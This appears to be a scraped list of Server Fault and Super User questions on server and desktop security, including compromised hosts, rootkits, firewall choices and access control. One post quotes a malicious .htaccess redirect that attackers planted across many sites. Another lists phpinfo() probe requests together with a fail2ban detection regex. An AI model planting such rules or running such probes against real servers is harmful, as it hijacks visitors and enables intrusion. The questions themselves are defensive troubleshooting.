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  • Firewall - Preventing Content Theft & Rogue Crawlers

    - by drodecker
    Our websites are being crawled by content thieves on a regular basis. We obviously want to let through the nice bots and legitimate user activity, but block questionable activity. We have tried IP blocking at our firewall, but this becomes to manage the block lists. Also, we have used IIS-handlers, however that complicates our web applications. Is anyone familiar with network appliances, firewalls or application services (say for IIS) that can reduce or eliminate the content scrapers?

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  • Windows File Checksums - Is my system hacked?

    - by rism
    I would like to know if there is a utility to verify the checksums of every windows file on my Win 7 Ultimate system. It seems on the surface such an obvious utility but I dont ever remember seeing one? I had a very weird experience while surfing earlier today and now Im not entirely sure my system is secure. I have a collection of tools in the WSCC suite but these tools no doubt just make system calls to the win32 api and if that has been subverted then the tools are practically useless. How do I know my Win 7 files are actually Win 7 files? I am particularly interested in verifying the integrity of all network TCP/IP files.

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  • Finding Webserver Vulnerability

    - by Brent
    We operate a webserver farm hosting around 300 websites. Yesterday morning a script placed .htaccess files owned by www-data (the apache user) in every directory under the document_root of most (but not all) sites. The content of the .htaccess file was this: RewriteEngine On RewriteCond %{HTTP_REFERER} ^http:// RewriteCond %{HTTP_REFERER} !%{HTTP_HOST} RewriteRule . http://84f6a4eef61784b33e4acbd32c8fdd72.com/%{REMOTE_ADDR} Googling for that url (which is the md5 hash of "antivirus") I discovered that this same thing happened all over the internet, and am looking for somebody who has already dealt with this, and determined where the vulnerability is. I have searched most of our logs, but haven't found anything conclusive yet. Are there others who experienced the same thing that have gotten further than I have in pinpointing the hole? So far we have determined: the changes were made as www-data, so apache or it's plugins are likely the culprit all the changes were made within 15 minutes of each other, so it was probably automated since our websites have widely varying domain names, I think a single vulnerability on one site was responsible (rather than a common vulnerability on every site) if an .htaccess file already existed and was writeable by www-data, then the script was kind, and simply appended the above lines to the end of the file (making it easy to reverse) Any more hints would be appreciated.

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  • md5sum or sha1sum of legitmate microsoft system files

    - by martyvis
    Is there a database or repository of the legitimate checksums for Microsoft system files? We think we have a 0day on DNS for Windows 2003 SP2 using IRC for command and control. (Latest McAfee does not see an issue). I want to compare our customer's dns.exe and associated DLLs with the real ones. (I will grab a fresh SP2 and hotfixed system to do this, but wonder how to do this in future without needed to do this.)

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  • How to troubleshoot this memory usage?

    - by Camran
    I have a classifieds website. I use PHP, MySql, and SOLR. Solr uses a Servlet Container, in my case JETTY, which is java application. I just noticed that something was terribly wrong on my website. I opened the terminal and entered the "top" command and noticed that JAVA was EATING all the cpu and mem. Now I thought "Ok, maybe I need more mem and cpu" So I increased it. But along with the increase the java app started eating more. This has never happened before, and it is either a bug, or a hack of some kind. Anyways, I need to troubleshoot this now, and so I wonder how do I do this? Can I somehow pinpoint exactly when the memory usage started to go up from some error log? How does one troubleshoot this? How do I prevent it? Is it possible to prevent too many requests somehow, if they are within a timeline? Thanks

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  • File permissions on web server

    - by plua
    I have just read this useful article on files permissions, and I am about to implement a as-strict-as-possible file permissions policy on our webserver. Our situation: we have a web server accessed through sftp by different users from within our company, and we have the general public accessing Apache - sometimes uploading files through PHP. I distinguish folders and files by their use. So based on this reading, here is my plan: All people who need to upload files will have separate users. But all of those users will belong to two groups: uploaders, and webserver. Apache will belong to the group webserver. Directories Permission: 771 Owner: user:uploaders Explanation: to access files in the folder, everybody needs to have execute permission. Only uploaders will be adding/removing files, so they also get r+w permission. Files within the web-root Permission: 664 Owner: user:uploaders Explanation: they will be uploaded and changed by different users, so both owner and group need to have w+r permissions. Webserver needs to only read files, so r permission only. Upload-directories Permission: 771 Owner: user:webserver Explanation: when files need to be uploaded, Apache needs to be able to write to this directory. But I figure it is safer to change the owner to webroot, thus giving Apache sufficient privileges (and all uploaders also belong to this group and will have the same permissions), while safeguarding from "others" writing to this folder. Uploaded files Permission: 664 Owner: user:webserver Explanation: after uploading Apache might need to delete files, but this is no problem because they have w+r permission of the folder. So no need to make this file any more accessible than r access for group. Being not an expert on file permissions, my question is whether or not this is the best possible policy for our situation? Any suggestions welcome.

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  • Is there some file browser that uses low level functions to browse hard disk?

    - by watbywbarif
    I have Windows 7, NTFS hard disk. I have detected rootkit files but can't delete them through Windows explorer, obviously because they are not visible. Is there some other file browser that is using low level function calls, lower that win api, so that I can try to see and study these files before removal. I know the exact locations. I know that I can load some live CD and delete them, but I wonder about the first possible solution.

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  • Looking for a new, free firewall (Sunbelt has a huge hole)

    - by Jason
    I've been using Sunbelt Personal Firewall v. 4.5 (previously Kerio). I've discovered that blocking Firefox connections in the configuration doesn't stop EXISTING Firefox connections. (See my post here yesterday http://superuser.com/questions/132625/sunbelt-firewall-4-5-wont-block-firefox) The "stop all traffic" may work on existing connections - but I'm done testing, as I need to be able to be selective, at any time. I was using the free version, so the "web filtering" option quit working after some time (mostly blocking ads and popups), but I didn't use that anyway. I used the last free version of Kerio before finally having to go to Sunbelt, because Kerio had an unfixed bug where you'd eventually get the BSOD and have to reset Kerio's configuration and start over (configure everything again). So I'm looking for a new Firewall. I don't like ZoneAlarm at all (no offense to all it's users that may be here - personal taste). I need the following: (Sunbelt has all these, except *) - 1. Be able to block in/out to localhost (trusted)/internet selectively for each application with a click (so there's 4 click boxes for each application) [*that effects everything immediately, regardless of what's already connected]. When a new application attempts a connection, you get an allow/deny/remember windows. - 2. Be able to easily set up filter rules for 'individual application'/'all applications,' by protocol, port/address (range), local, remote, in, out. [*Adding a filter rule also doesn't block existing connections in Sunbelt. That needs to work too.] - 3. Have an easy-to-get-to way to "stop all traffic" (like a right click option on the running icon in the task bar). - 4. Be able to set trusted/internet in/out block/allowed (4 things per item) for each of IGMP, ping, DNS, DHCP, VPN, and broadcasts. - 5. Define locahost as trusted/untrusted, define adapter connections as trusted/untrusted. - 6. Block incoming connetions during boot-up and shutdown. - 7. Show existing connections, including local & remote ip/port, protocol, current speed, total bytes transferred, and local ports opened for Listening. - 8. An Intrusion Prevention System which blocks (optionally select each one) known intrustions (long list). - 9. Block/allow applications from starting other applications (deny/allow/remember window). Wish list: A way of knowing what svchost.exe is doing - who is actually using it/calling it. I allowed it for localhost, and selectively allowed it for internet each time the allow/deny window came up. Thanks for any help/suggestions. (I'm using Windows XP SP3.)

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  • Good free guide for mod_security?

    - by Josh
    I have looked at the official sites documentation, and it is a little tough to find starting points. Is there a free comprehensive guide that is easy to understand for someone that has never dealt with mod_security?

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  • Use .htaccess to block *All* access to specific folders.

    - by Urda
    I am not sure how to do this, but I want to block all access to a specific set of folders on my web server. Say secret01 and secret 02... homeDir |- data |- www | |- .htaccess (file) | |- images | |- js | |- secret01 | |- secret02 | |... |... What rule(s) do I need to add to my root .htaccess file to do this? I want all access from the web blocked from going into these folders, period. Only way one could get to them would be over SFTP or SSH. So what rule am I looking for? I am preferably looking for a one-liner so I can add more folders or move it to another site down the road. I really would prefer if the rule could be placed in the .htaccess root file so I don't have to jump all over the place to lock and unlock folders.

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  • Solaris 11 installed, no updates?

    - by Paul De Niro
    I was messing around with solaris and decided to give Solaris 11 a try so I downloaded it from the Oracle website. After installing the OS, I went into the package manager and did an update. It told me that there were to available updates! I find this hard to believe considering that it's running a vulnerable version of firefox and java, its own in-house software product! Many of the other software products that came with the default install are also out of date and vulnerable. Is this normal for an Oracle install, or did I do something wrong with the upgrade process? I typed "pkg update" at the prompt, and I noticed that it did call out to pkg.oracle.com looking for updates. I find it bizarre that there are no updates available for an OS that was released a couple months ago with vulnerable software...

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  • Unauthorized computer use via keyboard or remote access?

    - by brydaverambo
    I’m suspecting my computer is being used when I’m not at home. This is happening either physically or remotely. My wireless switch is off. Is there any way possible to detect and/or monitor activity without purchasing software? My settings are being changed as well as passwords (Bios PW was changed and I cannot access Bios settings). I connect via the network cable. Is it possible for someone (in range) to connect to my laptop even if the wireless switch is off? This is a Dell Inspiron 1720 with the WLAN 1395 card. Here’s the kicker. When I try to download freeware for monitoring activity, I am not allowed to do this! ????

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  • Cant Add Columns to a AD Task pad except for the top level of the domain

    - by Darktux
    We are working on Active Directory taskpads application for user management in our organization and facing stange issue. When we create a taskpad, and when we are at top level of the domain, i can click view - Add/Remove Columns and add "Pre Windows Name" (and lots of other properties) to the taskpad as columns, but when i just go 1 level down , i can only see "Operating System" and "Service Pack" ; why is it happening , isnt "Domain Admins" supposed to god access to all the things in AD domain , atleast of objects they own? It is important to have "Pre Windows 2000" Name as a column begause with out that our "Shell Command" task wont show up in taskpads, since its bound to parameter "Col<9" (which is pre qindows name). Please do let me know if any additions questions to clarify my problem.

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  • Win7 UAC tokens

    - by Talc
    It is known that under win7 UAC you receive 2 tokens when you logon to the system: std user token and admin token. If I disable UAC, what should I get? only admin token? or still both with no consideration to the UAC status?

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  • Iptables to lock down compromised server to a single ip

    - by ollybee
    I have a Linux server which is compromised, I can see nasty looking perl scripts executing with root privileges. I want to get some data off it before I wipe it. How can I block all inbound and outbound traffic except for my ip? It's a Centos server I assume i can do this with iptables? I'm aware a the server is rooted there is a possibility that attackers could have made changes on the server that would prevent this from working. Ill be testing to make sure and only have the server online for a couple of hours before it is nuked.

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  • is there any valid reason for users to request phpinfo()

    - by The Journeyman geek
    I'm working on writing a set of rules for fail2ban to make life a little more interesting for whoever is trying to bruteforce his way into my system. A good majority of the attempts tend to revolve around trying to get into phpinfo() via my webserver -as below GET //pma/config/config.inc.php?p=phpinfo(); HTTP/1.1 GET //admin/config/config.inc.php?p=phpinfo(); HTTP/1.1 GET //dbadmin/config/config.inc.php?p=phpinfo(); HTTP/1.1 GET //mysql/config/config.inc.php?p=phpinfo(); HTTP/1.1 I'm wondering if there's any valid reason for a user to attempt to access phpinfo() via apache, since if not, i can simply use that, or more specifically the regex GET //[^>]+=phpinfo\(\) as a filter to eliminate these attacks

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  • Monitor someone on server

    - by edo
    Im in the unfortunate position of having to give someone who I do not fully trust privileged access to a webserver to finish work that they never completed. They will access the server remotely (ie I will not be able to see their screen). What can be done to a) proactively limit any potential damage and b) accurately log anything they do on the server for analysis afterwards, even if things seem ok? They will be updating a web application. Thanks in advance! --- More informtion: The server is a Ubuntu AWS server.

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  • Apache deny access to images folder, but still able to display via <img> on site

    - by jeffery_the_wind
    I have an images folder on my site, let's call it /images/ where I keep a lot of images. I don't want anyone to have direct access to the images via the web, so I put a new directive in my Apache config that achieves this: <Directory "/var/www/images/"> Options Includes AllowOverride All Order allow,deny Deny from All </Directory> This is working, but it is blocking out ALL ACCESS, and I can't show the images anymore through my web pages. I guess this makes sense. So how do I selectively control access to these images? Basically I only want to display certain images through certain webpages and to certain users. What is best way to do this? Do I need to save the images to the database? Tim

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  • What statistics app should I use for my website?

    - by Camran
    I have my own server (with root access). I need statistics of users who visit my website etc etc... I have looked at an app called Webalyzer... Is this a good choice? I run apache2 on a Ubuntu 9 system... If you know of any good statistics apps for servers please let me know. And a follow-up question: All statistics are saved in log-files right? So how large would these log-files become then? Possibility to split them would be good, dont know if this is possible with Webalyzer though...

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  • Automated VLAN creation with residential Wireless devices

    - by Zephyr Pellerin
    We've got a few WRT devices from Linksys here, and the issue has arisen to deploy them in a relatively small environment, However, in the interest of manageability we'd like to be able to automatically VLAN (ideally NOT subnet) every user from one another. It seems obvious to me that the default firmware isn't capable of this - can OpenWRT/Tomato/DD-WRT support any sort of functionality such that new users are automatically VLANed or otherwise logically separated from other users? It seems like there's an easy IPtables or PF solution here, but I've been wrong before. (If that seemed a little ambiguous, heres an example) User 1 sends DHCP request to server, new VLAN (We'll call VLAN 1) is created, user is placed in that VLAN. Then, user 2 sends a DHCP request and is placed in VLAN 2 etc. etc.

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  • Member of local Administrators group cannot elevate

    - by fixme
    Hi We have just installed the first Windows 7 (professional) workstation in our domain. Its primary user has been added to the local (computer's) Administrators group (computername\Administrators). Still, whenever elevation is needed, his credentials are not accepted, and he is never allowed to act as an administrator. For example, he cannot write a file to C:\ (not that he needs to, but it illustrates the problem). Putting him in the domain's Administrators group doesn't help either (anyway we'd rather not do that). I suspect that he may be the victim of some policy that controls elevation, but can't seem to find it. Can anyone shed some light?

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  • Preventing back connect in Cpanel servers

    - by Fernando
    We run a Cpanel server and someone gained access to almost all accounts using the following steps: 1) Gained access to an user account due to weak password. Note: this user didn't had shell access. 2) With this user account, he accessed Cpanel and added a cron task. The cron task was a perl script that connected to his IP and he was able to send back shell commands. 3) Having a non jailed shell, he was able to change content of most websites in server specially for users who set their folders to 777 ( Unfortunately a common recommendation and sometimes a requirement for some PHP softwares ). Is there a way to prevent this? We started by disabling cron in Cpanel interface, but this is not enough. I see a lot of other options in which an user could run this perl script. We have a firewall running and blocking uncommon outgoing ports. But he used port 80 and, well, I can't block this port as a lot of processes use them to access things, even Cpanel itself.

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